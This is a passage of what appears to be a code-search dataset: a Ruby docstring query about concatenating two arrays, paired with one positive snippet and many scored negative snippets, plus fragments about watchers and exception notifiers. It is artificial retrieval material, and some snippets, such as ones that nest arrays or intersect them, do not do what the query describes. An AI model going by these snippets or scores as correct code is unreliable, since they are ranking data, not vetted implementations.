}, { "docid": "4aa27b0d13baa24693d2d17365c4f055", "score": "0.62024254", "text": "def ensure_csrf(klass)\n if csrf_cache[klass]\n self.csrf_tokens = csrf_cache[klass]\n return\n end\n\n self.csrf_tokens = nil\n\n # If we directly create a new resource (e.g. app) without querying anything before\n # we don't have a valid csrf token, that's why we have to do at least one request\n block_given? ? yield : klass.all\n\n csrf_cache[klass] = self.csrf_tokens\n end", "title": "" } ]
2152dcfefe969dff03179b5a628814f6
Concatenates two arrays. [A] [B] => [A B]
[ { "docid": "a3fb28092e5f3c8bfcba400352bfc6b1", "score": "0.0", "text": "def cat\n\t\t\tarray1 = pop\n\t\t\tarray2 = pop\n\t\t\traise ArgumentError, \"CAT: first element is not an Array.\" unless array1.is_a? Array\n\t\t\traise ArgumentError, \"CAT: first element is not an Array.\" unless array2.is_a? Array\n\t\t\tpush array2.concat(array1)\n\t\tend", "title": "" } ]
[ { "docid": "e649a808374ea04f8a5bf12e846fa0ff", "score": "0.83556974", "text": "def array_concat(array_1, array_2)\n\treturn (array_1 << array_2).flatten\nend", "title": "" }, { "docid": "b3e38f0989bfb5bab121290346511d35", "score": "0.8295344", "text": "def join_arrays(arr1,arr2)\n arr1.concat(arr2)\nend", "title": "" }, { "docid": "d9be016cbefd81ca2a61bb15c1447fd2", "score": "0.81486017", "text": "def array_concat(array_1, array_2)\n\n\tarray_1.concat(array_2)\nend", "title": "" }, { "docid": "a7aa1ebe5136669f32898aeb14220e8c", "score": "0.8128086", "text": "def array_concat(array_1, array_2)\n\tarray_1.concat(array_2)\nend", "title": "" }, { "docid": "a7aa1ebe5136669f32898aeb14220e8c", "score": "0.8128086", "text": "def array_concat(array_1, array_2)\n\tarray_1.concat(array_2)\nend", "title": "" }, { "docid": "7e5d15a84c08025fd5fe9cd641d3f160", "score": "0.8127343", "text": "def array_concat(array_1, array_2)\n cnct_array = array_1\n for i in 0...array_2.length\n cnct_array[cnct_array.length+i] = array_2[i]\n end\n return cnct_array\nend", "title": "" }, { "docid": "ac22ddb0a035c96459ca08fe3d9fb8d4", "score": "0.8124137", "text": "def using_concat (first_arr, second_arr)\n return first_arr.concat(second_arr)\nend", "title": "" }, { "docid": "34f2a8c62ab7c0169ed8635ba506b6ec", "score": "0.81176585", "text": "def array_concat(array_1, array_2)\n # create new holder of correct length\n ret = []\n # iterate over first array\n array_1.each do |entry|\n #copy contents into holder\n \tret << entry\n end\n # iterate over second array, append to end\n array_2.each do |entry|\n \tret << entry\n end\n return ret\nend", "title": "" }, { "docid": "60597493bde4b521424127451a2e47c0", "score": "0.80856305", "text": "def using_concat(array1, array2)\n array1 = array1.concat(array2)\nend", "title": "" }, { "docid": "c5b8b7a27733bcc54fcd9ee8376acca5", "score": "0.8050294", "text": "def using_concat(array1,array2)\n array1.concat(array2)\n end", "title": "" }, { "docid": "ab79aa68c4aa8bf9fb1bb667076aad2f", "score": "0.80484337", "text": "def array_concat(array_1, array_2)\n\tnew_array = []\n\ti = 0\n\twhile i < array_1.length\n\t\tnew_array[i] = array_1[i]\n\t\ti += 1\n\tend\n\tj = 0\n\twhile j < array_2.length\n\t\tnew_array[i+j] = array_2[j]\n\t\tj += 1\n\tend\n\treturn new_array\nend", "title": "" }, { "docid": "e0cd0ea4ab80d5cdf8069ded73785996", "score": "0.80329424", "text": "def array_concat(array_1, array_2)\n\tarray_1 += array_2\nend", "title": "" }, { "docid": "faf082887ec64d24e69c44b0dfe0105d", "score": "0.8013347", "text": "def join_arrays array_one, array_two\n\t\tarray_one.shift\n\t\tarray_two.pop\n\t\tarray_one & array_two\n\tend", "title": "" }, { "docid": "ec790ba251040eb295ada8be424cae01", "score": "0.8011559", "text": "def using_concat(array1, array2)\n array1.concat(array2)\nend", "title": "" }, { "docid": "5128756f32b1317a46303235530c671c", "score": "0.8009816", "text": "def using_concat(array0, array1)\n array0.concat(array1)\nend", "title": "" }, { "docid": "bee3663b4ec72c984203b234771bc8df", "score": "0.79961276", "text": "def concat_array(array1, array2)\n\t\tarray1.concat (array2)\n\tend", "title": "" }, { "docid": "96e6261cbb363b05debb277196fa2c43", "score": "0.7991899", "text": "def array_concat(array_1, array_2)\n\tcombined_array=Array.new\n\tcombined_array.push(array_1, array_2)\n\treturn combined_array.flatten\nend", "title": "" }, { "docid": "708da6615fdb75bc4a83b780f1b97952", "score": "0.79854476", "text": "def using_concat(array, array2)\n array.concat(array2)\nend", "title": "" }, { "docid": "2e4ba4e26c7037a6e932f9c0c5a3221b", "score": "0.7978371", "text": "def array_concat(array_1, array_2)\n newarray = Array.new\n for i in 0..(array_1.length-1)\n newarray[i] = array_1[i]\n end\n for j in 0..(array_2.length-1)\n newarray[array_1.length+j] = array_2[j]\n end\n return newarray\nend", "title": "" }, { "docid": "3f4c1289677af7c0cd6b8f737213cfe0", "score": "0.79692256", "text": "def using_concat(array1, array2)\n array1.concat(array2)\nend", "title": "" }, { "docid": "b8c9e3802765d48bda5973058c10b967", "score": "0.79641616", "text": "def using_concat(array1,array2)\n array1.concat(array2)\nend", "title": "" }, { "docid": "b8c9e3802765d48bda5973058c10b967", "score": "0.79641616", "text": "def using_concat(array1,array2)\n array1.concat(array2)\nend", "title": "" }, { "docid": "e90bdb20e725672ef7f644cb931c3446", "score": "0.7950234", "text": "def array_concat(array_1, array_2)\n array_2.each { |x| array_1.push(x) }\n return array_1\nend", "title": "" }, { "docid": "a88a7ab1e3b46971815996c0759e53c1", "score": "0.7948963", "text": "def concat(array,array2)\n array << array2\n return array\nend", "title": "" }, { "docid": "de58b717b1812bd20916dc5d8c0f7e45", "score": "0.7947958", "text": "def using_concat(array_1,array_2)\n array_1.concat(array_2)\nend", "title": "" }, { "docid": "48071613a6c29e0b4530795801a1a7c4", "score": "0.7938563", "text": "def using_concat(array1, array2)\n \n array1.concat(array2)\n\nend", "title": "" }, { "docid": "99b6442d3d04f0888ccb5e1fa909ab64", "score": "0.79285485", "text": "def array_concat(array1, array2)\n\tarray1 + array2\nend", "title": "" }, { "docid": "47c0057cf2d580500c67d27c1c780a60", "score": "0.79218376", "text": "def using_concat(arr_1, arr_2)\n arr_1.concat(arr_2)\nend", "title": "" }, { "docid": "19faa2e9e4b973309ef1edf1a8e7ac16", "score": "0.792117", "text": "def array_concat(array_1, array_2)\n new_array = []\n array_1.each {|val| new_array.push (val)}\n array_2.each {|val| new_array.push (val)}\n new_array\nend", "title": "" }, { "docid": "4409f8a8fc8472397279ea7af4c6385d", "score": "0.79124445", "text": "def using_concat(array1, array2)\n array1 = array1.push(*array2)\n\nend", "title": "" }, { "docid": "d4573339d71ff8e3d9ddc5b7bfb38beb", "score": "0.79055613", "text": "def array_concat(array_1, array_2)\n array_1.push(*array_2) \nend", "title": "" }, { "docid": "5bcb3e228cb1dfbd72dbfd9d250d680e", "score": "0.7901689", "text": "def array_concat(array_1, array_2)\n new_array = []\n array_1.each { |value| new_array << value }\n array_2.each { |value| new_array << value }\n return new_array\nend", "title": "" }, { "docid": "d750a719b16efdfb9f31c61a28aad7c1", "score": "0.78958327", "text": "def array_concat(array_1, array_2)\n concat_array = []\n array_1.each {|value| concat_array << value}\n array_2.each {|value| concat_array << value}\n concat_array\nend", "title": "" }, { "docid": "06ad1ab5c9c8c7ed29ce3e5488f03c56", "score": "0.7861848", "text": "def using_concat(array, arr2)\n array.concat(arr2)\nend", "title": "" }, { "docid": "11744df0c29b55ac5c93f4853739999c", "score": "0.7861536", "text": "def array_concat(array_1, array_2)\n\tif array_1.length == 0 && array_2.length == 0\n\t\treturn []\n\tend\n\ti = 0\n\twhile i < array_2.length\n\t\tarray_1.push(array_2[i])\n\t\ti+=1\n\tend\n return array_1\nend", "title": "" }, { "docid": "da897e80fbe85a6e1e7d0056e8ac18ef", "score": "0.7857292", "text": "def array_concat(array_1, array_2)\n new_array = []\n array_1.each do |item|\n \tnew_array.push(item)\n end\n array_2.each do |item|\n \tnew_array.push(item)\n end\n new_array\nend", "title": "" }, { "docid": "a7099b5b25711fec665a467b1d877850", "score": "0.78425777", "text": "def array_concat(array_1, array_2)\n array_2.each do |x|\n array_1.push x\n end\n return array_1\nend", "title": "" }, { "docid": "df6798daee9f14ba850ac6424f4f0eb6", "score": "0.7835953", "text": "def array_concat(array_1, array_2)\n array_2.each do |x|\n array_1.push(x)\n end\n return array_1\nend", "title": "" }, { "docid": "791b5d368e89b735e6c67a4a83c2b1a2", "score": "0.782629", "text": "def array_concat(array_1, array_2)\n\treturn [] if both_empty?(array_1, array_2)\n\treturn array_1 if two_empty?(array_1, array_2)\n\treturn array_2 if one_empty?(array_1, array_2)\n\tfor x in array_2[0..-1]\n\t\tarray_1 << x\n\tend\n\treturn array_1\nend", "title": "" }, { "docid": "cfd85f2e24f9e3739a4d8497f07a0b49", "score": "0.7821936", "text": "def array_concat(array_1, array_2)\n array_2.each {|x| array_1.push(x).to_a}\n return array_1\n \nend", "title": "" }, { "docid": "f52c5cb3c5be9500df08d44dc772f684", "score": "0.78217876", "text": "def array_concat(array_1, array_2)\n new_array = []\n new_index = 0\n index = 0\n\n while index < array_1.length\n \tnew_array[new_index] = array_1[index]\n \tindex += 1\n \tnew_index += 1\n end\n\n index = 0\n\n while index < array_2.length\n \tnew_array[new_index] = array_2[index]\n \tindex += 1\n \tnew_index += 1\n end\n return new_array\nend", "title": "" }, { "docid": "7faf1418685796f884117bc240bbf7e7", "score": "0.7814674", "text": "def array_concat(array_1, array_2)\n\n array_2.each do |a2_element|\n array_1.push(a2_element)\n end\n\n return array_1\n\nend", "title": "" }, { "docid": "1b1d67f68d39d6b2fba0c73b84f5560e", "score": "0.7814164", "text": "def custConcat(arr1, arr2)\n # return arr1 with all of the elements from arr2 \n # added to the end of it\n arr1.concat(arr2)\nend", "title": "" }, { "docid": "0ba930d0c65096104d676f4f55550a49", "score": "0.7796367", "text": "def array_concat(array_1, array_2)\n\tnew_arr = array_1 + array_2\nend", "title": "" }, { "docid": "f833f0df2f0aaa2af34afefb7fa24e4d", "score": "0.7795581", "text": "def array_concat(array_1, array_2)\n array_2.each do |x|\n array_1[array_1.length] = x\n end\n return array_1\nend", "title": "" }, { "docid": "e88bf3d7a551b3b34f7b4ffdeb8ac315", "score": "0.7791726", "text": "def array_concat(array_1, array_2)\n if array_1.empty? && array_2.empty?\n \tfinal_array = []\n else\n \tcount = 0\n \twhile count < array_2.length\n \t\tfinal_array = array_1.push array_2[count]\n \t\tcount += 1\n \tend\n end\n return final_array\nend", "title": "" }, { "docid": "59e83aeacd1d8b5a3223d9e51818b00e", "score": "0.77883863", "text": "def array_concat(array_1, array_2)\n concat_arrays = []\n array_1.each do |x|\n \tconcat_arrays << x\n end\n array_2.each do |x|\n \tconcat_arrays << x\n end\n concat_arrays\nend", "title": "" }, { "docid": "68b5943156933e71b93e11659f605aa8", "score": "0.7777899", "text": "def concat(array, array2)\n return array + array2\nend", "title": "" }, { "docid": "92a50c2770f9e9343e9ef88058d9ffb2", "score": "0.77648056", "text": "def array_concat(array_1, array_2)\n\n\n newArray = Array.new\n counter = 0\n\n (array_1.length).times do |x|\n newArray[counter] = array_1[x]\n counter = counter + 1\n end\n\n (array_2.length).times do |y|\n newArray[counter] = array_2[y]\n counter = counter + 1\n end\n\n newArray\nend", "title": "" }, { "docid": "2aa207bd765a7396839d17b2ec0b3425", "score": "0.77360547", "text": "def array_concat(array_1, array_2)\n # Your code here\n array_2.each do |element|\n array_1 << element\n end\n array_1\nend", "title": "" }, { "docid": "d74acc3a9b029d4bd0064000f8c457f2", "score": "0.7699342", "text": "def array_concat(array_1, array_2) \nreturn array_1.concat array_2\nend", "title": "" }, { "docid": "6e4f346bb2561d8a8836aee1aa214fa1", "score": "0.76900876", "text": "def array_concat(array_1, array_2)\n concat = array_1\n i=0\n while array_2.length > i\n array_1.push(array_2[i])\n i+=1\n end\n return concat\nend", "title": "" }, { "docid": "53e711dbcc9c0a8432226dccb1f9a595", "score": "0.76848346", "text": "def array_concat(array_1, array_2)\n # Your code here\n array_2.each do |val|\n \tarray_1 << val\n end\n array_1\nend", "title": "" }, { "docid": "6aa7e8ab6ed5d5fab4ff7ba799788ad5", "score": "0.767177", "text": "def array_concat(array_1, array_2)\n # PSEUDO\n # Start new empty array (we'll call it answer array)\n # FOR each element in first array\n # add it to answer array\n # FOR each element in second array\n # add it to answer array\n # return answer array\n\n #initial\n# answer_arr = []\n#\n# array_1.each do |el|\n# answer_arr << el\n# end\n#\n# array_2.each do |el|\n# answer_arr << el\n# end\n#\n# return answer_arr\n\n #final with built-in\n\n return array_1.concat(array_2)\n\nend", "title": "" }, { "docid": "4ce37fe573dd6200ee3190a9af0a05d2", "score": "0.7665813", "text": "def array_concat(array_1, array_2)\n array_1 + array_2\nend", "title": "" }, { "docid": "779f4ec1f978f8e73aa3ef18ba0f8b3a", "score": "0.76557654", "text": "def array_concat(array_1, array_2)\n combined_array = array_1 + array_2\n return combined_array\nend", "title": "" }, { "docid": "7d4553ce2b11fb2a093c1dad816f4df3", "score": "0.7637424", "text": "def concat(arr, arr2)\n return arr + arr2\nend", "title": "" }, { "docid": "9c5c51fddedafa37e2a10765305d7deb", "score": "0.7634003", "text": "def array_concat(array_1, array_2)\n z = array_1 + array_2\nend", "title": "" }, { "docid": "33020020d62f019e191c4f9a935dbdee", "score": "0.7622948", "text": "def array_concat(array_1, array_2)\n array_1 + array_2\nend", "title": "" }, { "docid": "c74d0d8a82ed50bbb0de2c804e1d8dcb", "score": "0.76167405", "text": "def array_concat(array_1, array_2)\n return array_1 + array_2\nend", "title": "" }, { "docid": "c74d0d8a82ed50bbb0de2c804e1d8dcb", "score": "0.76167405", "text": "def array_concat(array_1, array_2)\n return array_1 + array_2\nend", "title": "" }, { "docid": "8f33a47e1cf2fcfb337b5ba0e5432553", "score": "0.7592305", "text": "def array_concat(array_1, array_2)\n # return array_1 + array_2 would work\n array = array_1\n array_2.each do |item|\n array.push item\n end\n return array\nend", "title": "" }, { "docid": "3c00d764730fac3e9738ce08801bc1ed", "score": "0.75860435", "text": "def concat(array1, array2)\n return array1 + array2\nend", "title": "" }, { "docid": "eb0b39a1b31427072c82863f273b5d24", "score": "0.7560889", "text": "def array_concat(my_array1, my_array2)\n my_array1 + my_array2\nend", "title": "" }, { "docid": "2116bad460cee09b940610316c12cf60", "score": "0.75602007", "text": "def array_concat(array_1, array_2)\n array_1+array_2\nend", "title": "" }, { "docid": "ccd2504ba822d873c3961b9490bb9e34", "score": "0.75397015", "text": "def concat(array1, array2)\n i = 0\n output = array1\n while i < array2.length\n output << array2[i]\n i += 1\n end\n return output\nend", "title": "" }, { "docid": "e2c09c296a94be25659bfbb1bad6ffa9", "score": "0.75368154", "text": "def array_concat(array_1, array_2)\n\tmethod = 4\n\tcase method\n\twhen 1\n\t\tarray_1 + array_2 # The easiest way\n\twhen 2\n\t\tarray_1.concat(array_2) # Another easy way\n\twhen 3 # a long way\n\t\tarray_new = []\n \t\tarray_1.each {|element| array_new[array_new.size] = element}\n \t\tarray_2.each {|element| array_new[array_new.size] = element}\n \t\treturn array_new\n \twhen 4 # Showing an array as a range in a for loop\n \t\tindex = 0\n \t\tarray_new = []\n \t\tfor element in array_1\n \t\t\tarray_new[index] = element\n \t\t\tindex += 1\n \t\tend\n \t\tfor element in array_2\n \t\t\tarray_new[index] = element\n \t\t\tindex += 1\n \t\tend\n \t\treturn array_new\n \tend\nend", "title": "" }, { "docid": "49eba5db197ff111796b6c2e28bdfe6d", "score": "0.7533558", "text": "def array_concat(array_1, array_2)\n array_2.each do |x|\n \tarray_1 << x\n \t\n end\n p array_1\nend", "title": "" }, { "docid": "4600f7c10dd7588f14321b711d5630b9", "score": "0.75250596", "text": "def array_concat(array_1, array_2)\n\tour_array = array_1\n\tarray_2.each do |newguy|\n\t\tour_array.push(newguy)\n\tend\n return our_array\nend", "title": "" }, { "docid": "52997a06294a4f40cea2958a1f85781e", "score": "0.7495528", "text": "def interleave(array1, array2)\n p array1.zip(array2).flatten\nend", "title": "" }, { "docid": "9ad660aade2a5268316cd95458997cc3", "score": "0.74924946", "text": "def array_concat(array_1, array_2)\n # Your code here\n for element in array_2\n \tarray_1.push(element)\n end\n return array_1\nend", "title": "" }, { "docid": "d38bd5fba396b5a8766ef9e08d9144e8", "score": "0.74893314", "text": "def interleave(array1, array2)\n array1.zip(array2).flatten\nend", "title": "" }, { "docid": "d38bd5fba396b5a8766ef9e08d9144e8", "score": "0.74893314", "text": "def interleave(array1, array2)\n array1.zip(array2).flatten\nend", "title": "" }, { "docid": "d38bd5fba396b5a8766ef9e08d9144e8", "score": "0.74893314", "text": "def interleave(array1, array2)\n array1.zip(array2).flatten\nend", "title": "" }, { "docid": "3567a52d351b834a6c4c4a270b9acd34", "score": "0.7488384", "text": "def array_concat(array_1, array_2)\n new_array = []\n array_1.each do |var|\n new_array.push(var)\nend\n array_2.each do |var|\n new_array.push(var)\nend\n return new_array\nend", "title": "" }, { "docid": "4c1614cceb731318fca1976d4000b6be", "score": "0.74856037", "text": "def interleave(arr_1, arr_2)\n arr_1.zip(arr_2).flatten\nend", "title": "" }, { "docid": "4a069f54a9cdd0e5eaf148cc73acc9bf", "score": "0.74807435", "text": "def interleave(array_1, array_2)\n interwoven_array = []\n\n array_1.each_with_index do |element, index|\n interwoven_array << element << array_2[index]\n end\n\n interwoven_array\nend", "title": "" }, { "docid": "cdd5d224d77c0e255ebe040b3790640a", "score": "0.7473139", "text": "def interleave(array_1, array_2)\n results_array = []\n array_1.each_with_index do |elem, index|\n results_array << elem << array_2[index]\n end\n results_array\nend", "title": "" }, { "docid": "55f6f3babef5178bf05ad18e7f2abbca", "score": "0.7467964", "text": "def array_concat(array_1, array_2)\n\n combined_array = array_1 + array_2\n return combined_array\n\nend", "title": "" }, { "docid": "3f44e99ffff2aa9c0dacb4f7e3680385", "score": "0.74593663", "text": "def array_concat(array_1, array_2)\n p array_1.concat array_2\nend", "title": "" }, { "docid": "04b6c08481c3d254728a13a84d17f39e", "score": "0.74495107", "text": "def array_concat(array_1, array_2)\n # Your code here\n combined_array = []\n\n array_1.each { |i| \n combined_array.push(i)\n }\n\n array_2.each do |j| \n combined_array.push(j)\n end\n\n return combined_array\nend", "title": "" }, { "docid": "595827acd74461a7a836ba2ddbdfd847", "score": "0.74459827", "text": "def array_concat(array_1, array_2)\n # Your code here\n #Iterate over the length of array\n array_2.each do |section|\n #add each section of the array to the other\n array_1.push(section)\n end\n # Output the combination of both the array\n return array_1\nend", "title": "" }, { "docid": "f54f8faa3b96894ff27068a8a7352e50", "score": "0.7444827", "text": "def interleave a,b\n arr1 = []\n for i in (0...a.size)\n arr1 << a[i] << b[i]\n end\n arr1\nend", "title": "" }, { "docid": "9e58e2a4b1450baa92e0f990541c1787", "score": "0.74373436", "text": "def interleave(array1, array2)\n result = []\n array1.each_with_index do |value, index|\n result << value << array2[index]\n end\n result\nend", "title": "" }, { "docid": "f54df9b2da6f51d10628ae00ccfac6ad", "score": "0.7432925", "text": "def interleave(a1, a2)\n # new_array = []\n # index = 0\n # while index < a1.size\n # new_array.push(a1[index])\n # new_array.push(a2[index])\n # index += 1\n # end\n # new_array\n # LS solution\n # result = []\n # array1.each_with_index do |element, index|\n # result << element << array2[index]\n # end\n # result\n a1.zip(a2).flatten\nend", "title": "" }, { "docid": "99dac9a961e08cdc02f8ac0f7ee4666b", "score": "0.7427392", "text": "def concat(arr1, arr2)\n output = arr1\n i = 0\n while i < arr2.length\n output << arr2[i]\n i += 1\n end\n return output\nend", "title": "" }, { "docid": "d15a50efd196b98c9f92452a94967dbc", "score": "0.7421011", "text": "def interleave2(array1, array2)\n array1.zip(array2).flatten\nend", "title": "" }, { "docid": "f93c35b980353e57485590b71a68f3f0", "score": "0.7420867", "text": "def interleave(arr1, arr2)\n idx = 0\n combined = []\n arr1.size.times do\n combined << arr1[idx] << arr2[idx]\n idx += 1\n end\n combined\nend", "title": "" }, { "docid": "d47fa39f1f79d54966383fb43622603a", "score": "0.7418817", "text": "def interleave(arr1, arr2)\n # new_arr = []\n # arr1.size.times do |count|\n # new_arr << arr1[count] << arr2[count]\n # end\n # new_arr\n\n # using Array#zip and Array#flatten\n arr1.zip(arr2).flatten\nend", "title": "" }, { "docid": "1a56e76a0d7b356269e08b8c7fdc51e0", "score": "0.74172384", "text": "def interleave(array1, array2)\n new_array = []\n array1.each_with_index do |element, index|\n new_array << element << array2[index]\n end\n new_array\nend", "title": "" }, { "docid": "3a540e26decfee488ebab9f9300359be", "score": "0.74142295", "text": "def interleave(array1, array2)\n result = []\n array1.each_with_index do |element, index|\n result << element << array2[index]\n end\n result\nend", "title": "" }, { "docid": "3a540e26decfee488ebab9f9300359be", "score": "0.74142295", "text": "def interleave(array1, array2)\n result = []\n array1.each_with_index do |element, index|\n result << element << array2[index]\n end\n result\nend", "title": "" }, { "docid": "e19689197cd36d7feebe11db8d9de02c", "score": "0.7413836", "text": "def interleave(arr1, arr2)\n arr1.zip(arr2).flatten\nend", "title": "" }, { "docid": "e19689197cd36d7feebe11db8d9de02c", "score": "0.7413836", "text": "def interleave(arr1, arr2)\n arr1.zip(arr2).flatten\nend", "title": "" }, { "docid": "e19689197cd36d7feebe11db8d9de02c", "score": "0.7413836", "text": "def interleave(arr1, arr2)\n arr1.zip(arr2).flatten\nend", "title": "" }, { "docid": "e19689197cd36d7feebe11db8d9de02c", "score": "0.7413836", "text": "def interleave(arr1, arr2)\n arr1.zip(arr2).flatten\nend", "title": "" }, { "docid": "e19689197cd36d7feebe11db8d9de02c", "score": "0.7413836", "text": "def interleave(arr1, arr2)\n arr1.zip(arr2).flatten\nend", "title": "" }, { "docid": "e19689197cd36d7feebe11db8d9de02c", "score": "0.7413836", "text": "def interleave(arr1, arr2)\n arr1.zip(arr2).flatten\nend", "title": "" }, { "docid": "38033283db60d9e776c549b3ae656a61", "score": "0.741022", "text": "def array_concat(array_1, array_2)\n if array_1.length == 0 && array_2.length == 0\n return []\n else\n x = 1\n while x <= array_2.length\n array_2.each do |new_item|\n array_1.push(new_item)\n x += 1\n end\n end\n return array_1 \n end\nend", "title": "" }, { "docid": "59001d1a40ae2ef32c09dc765a0ac3d7", "score": "0.7404877", "text": "def array_concat(array_1, array_2)\n # Your code here\n new_array = array_1.concat(array_2)\n return new_array\nend", "title": "" }, { "docid": "5399cffb2b65da3d0faacbff574166b2", "score": "0.7402952", "text": "def array_concat(array_1, array_2)\n # Your code here\n return array_1.concat(array_2)\nend", "title": "" } ]
a623241419bf803f0cc5bff3e0f73006
Process a watcher notice and potentially raise an exception.
[ { "docid": "a2ad4e010768b00a1b82e5c012d4faa8", "score": "0.61755043", "text": "def process_namespace_watcher_notices(watcher)\n watcher.each do |notice|\n case notice[:type]\n when 'MODIFIED'\n reset_namespace_watch_retry_stats\n cache_key = notice[:object][:metadata][:uid]\n cached = @namespace_cache[cache_key]\n if cached\n @namespace_cache[cache_key] = parse_namespace_metadata(notice[:object])\n @stats.bump(:namespace_cache_watch_updates)\n else\n @stats.bump(:namespace_cache_watch_misses)\n end\n when 'DELETED'\n reset_namespace_watch_retry_stats\n # ignore and let age out for cases where\n # deleted but still processing logs\n @stats.bump(:namespace_cache_watch_deletes_ignored)\n when 'ERROR'\n if notice[:object] && notice[:object][:code] == 410\n @stats.bump(:namespace_watch_gone_notices)\n raise GoneError\n else\n @stats.bump(:namespace_watch_error_type_notices)\n message = notice[:object][:message] if notice[:object] && notice[:object][:message]\n raise \"Error while watching namespaces: #{message}\"\n end\n else\n reset_namespace_watch_retry_stats\n # Don't pay attention to creations, since the created namespace may not\n # be used by any namespace on this node.\n @stats.bump(:namespace_cache_watch_ignored)\n end\n end\n end", "title": "" } ]
[ { "docid": "49ed2db2c849c2435b5a9e963ec4c095", "score": "0.58461124", "text": "def notify(notice = {})\n Sender.new.catch_exception(notice)\n end", "title": "" }, { "docid": "aa891badf6a855787380cd659a1d9c77", "score": "0.5584762", "text": "def process_event(e)\n return if dead?\n \n if (common_flags = (e.flags & @@events.keys)).empty?\n raise NotImplementedError, \\\n \"No Wires::NotifyEvent for flags #{e.flags}\"\n end\n \n cls = Event.from_codestring(\"notify_\"+common_flags.first.to_s)\n \n Channel.new(e.watcher.path)\n .fire(cls.new(*e.flags,\n name: e.name,\n absolute_name: e.absolute_name,\n watchpath: e.watcher.path))\n end", "title": "" }, { "docid": "99d36356fd3faa01c913ae5d467ee9b0", "score": "0.55780023", "text": "def _process(e)\n return if e.type == Java::org.apache.zookeeper::Watcher::Event::EventType::None\n\n # Something changed in Zookeepr so\n # refresh the service instances\n if e.type == Java::org.apache.zookeeper::Watcher::Event::EventType::NodeChildrenChanged then\n # $LOG.debug(\"Children changed on \" + e.path)\n watch(e.path.split(\"/\").last)\n else\n # $LOG.debug(\"Node create/deleted on \" + e.path)\n watch(e.path.split(\"/\")[-2])\n end\n end", "title": "" }, { "docid": "a968885d3328e0ccec09240c19f8f431", "score": "0.55405223", "text": "def notify(exception, auto_notify = T.unsafe(nil), &block); end", "title": "" }, { "docid": "9c10dd86ba69f7f1b53601c6b77a2ada", "score": "0.5492171", "text": "def notify_exception_raised exception\n end", "title": "" }, { "docid": "2776c79b7b3f64e541b0ef8ac2405271", "score": "0.539295", "text": "def raise_if_public_watcher\n raise SecurityError, \"not authorized!\" if public_watcher?\n end", "title": "" }, { "docid": "81bd46cb5b4f7e4170c5021ef1827639", "score": "0.5388145", "text": "def handle_error(e)\n if defined?(Airbrake) && Airbrake.configuration.environment_name && Airbrake.configuration.public?\n Airbrake.notify(e)\n elsif defined?(Exceptional) && Exceptional::Config.should_send_to_api?\n Exceptional.handle(e)\n else\n puts e.inspect\n raise\n end\n end", "title": "" }, { "docid": "1d2c48709890064d642901e1f14acba3", "score": "0.534073", "text": "def notify!; end", "title": "" }, { "docid": "b0924f80400421e686140d8a63dab74d", "score": "0.5335703", "text": "def notify_runtime_error(result)\n message = \"An error occurred: #{result['error']}\"\n Formatter.error(message)\n Formatter.error(result['trace']) if result['trace']\n Formatter.notify(message, title: 'Jasmine error', image: :failed, priority: 2) if options[:notification]\n end", "title": "" }, { "docid": "8a599a9855d6da0d6494eab538b737c4", "score": "0.52742934", "text": "def notify_or_ignore(exception, context = {})\n send_notification(exception, context = {}) unless ignored?(exception)\n end", "title": "" }, { "docid": "e22c8f935079e4f7eacfe419b668a52c", "score": "0.52585757", "text": "def handle_notice(message)\n warning = \"Chatterbox#handle_notice is deprecated and will be removed from Chatterbox 1.0. Call Chatterbox#notify instead.\"\n deprecate(warning, caller)\n notify(message)\n end", "title": "" }, { "docid": "3edf29b7f0fe7f8b6049ad257fc7b3c1", "score": "0.5244365", "text": "def watch(&block)\n throw NotImplementedError\n end", "title": "" }, { "docid": "74ed563275202567ba39b090f8505ab1", "score": "0.52252775", "text": "def do_handle(data)\n notification = nil\n begin\n notification = parser.parse_notification(data)\n notify(notification.signal,notification.value)\n rescue \n dump(data)\n end\n end", "title": "" }, { "docid": "12e5ebd9eec9f49ff174c7737820ac21", "score": "0.52141684", "text": "def notify_non_example_exception(exception, context_description); end", "title": "" }, { "docid": "71d4bf97c6ae5a20035183a5eabb4c9b", "score": "0.5202192", "text": "def warning(watch)\n watch.update_attributes(:status_id => Status::WARNING)\n end", "title": "" }, { "docid": "c1e21db1ddf4649d3614c04abd0e40bf", "score": "0.51986176", "text": "def notify_watchdog\n notify(\"WATCHDOG=1\")\n end", "title": "" }, { "docid": "661ec813ce4bfbb01ecd662da05d8d75", "score": "0.5197592", "text": "def notify notice = {}\n Sender.new.notify_hoptoad( notice )\n end", "title": "" }, { "docid": "b360823ded66a4eb7b3caaca52539701", "score": "0.51804113", "text": "def exception_notifier\n yield\n rescue Exception => e\n notify_error(e.class, e.message)\n end", "title": "" }, { "docid": "6aa96f68bab5fb0c822da39d1bb8a61f", "score": "0.5169362", "text": "def notify_hoptoad hash_or_exception\n if public_environment?\n notice = normalize_notice(hash_or_exception)\n notice = clean_notice(notice)\n send_to_hoptoad(:notice => notice)\n end\n end", "title": "" }, { "docid": "a9c55e8a220358301a5cc1c11b8e72f0", "score": "0.51677835", "text": "def notify; end", "title": "" }, { "docid": "5ebaa8913382c9cd35a737af82b08607", "score": "0.5166573", "text": "def notify!(message, check, *args)\n previous_behavior = ActiveSupport::Deprecation.behavior\n ActiveSupport::Deprecation.behavior = :raise\n notify(message, check, *args)\n ensure\n ActiveSupport::Deprecation.behavior = previous_behavior\n end", "title": "" }, { "docid": "a9c55e8a220358301a5cc1c11b8e72f0", "score": "0.5166168", "text": "def notify; end", "title": "" }, { "docid": "f63e987fb239a33793f84e8cea6eb2af", "score": "0.51614505", "text": "def error_watchdog\n # Run\n yield\n rescue StandardError, ScriptError => e\n handle_error e\n e\n else\n nil\n end", "title": "" }, { "docid": "c984a73a577e3d8f2c2ae45443db0145", "score": "0.5105567", "text": "def notify?; end", "title": "" }, { "docid": "c984a73a577e3d8f2c2ae45443db0145", "score": "0.5105567", "text": "def notify?; end", "title": "" }, { "docid": "c984a73a577e3d8f2c2ae45443db0145", "score": "0.5105567", "text": "def notify?; end", "title": "" }, { "docid": "c984a73a577e3d8f2c2ae45443db0145", "score": "0.5105567", "text": "def notify?; end", "title": "" }, { "docid": "c984a73a577e3d8f2c2ae45443db0145", "score": "0.5105567", "text": "def notify?; end", "title": "" }, { "docid": "c984a73a577e3d8f2c2ae45443db0145", "score": "0.5105567", "text": "def notify?; end", "title": "" }, { "docid": "40995c7a3933e1d65e5b812f55a17ebe", "score": "0.5104356", "text": "def notify_on_change\n @on_change_callbacks.each do |callback|\n begin\n callback.call(self)\n rescue => ex\n logger.error(\"ProcessSettings::Monitor#notify_on_change rescued exception:\\n#{ex.class}: #{ex.message}\")\n end\n end\n end", "title": "" }, { "docid": 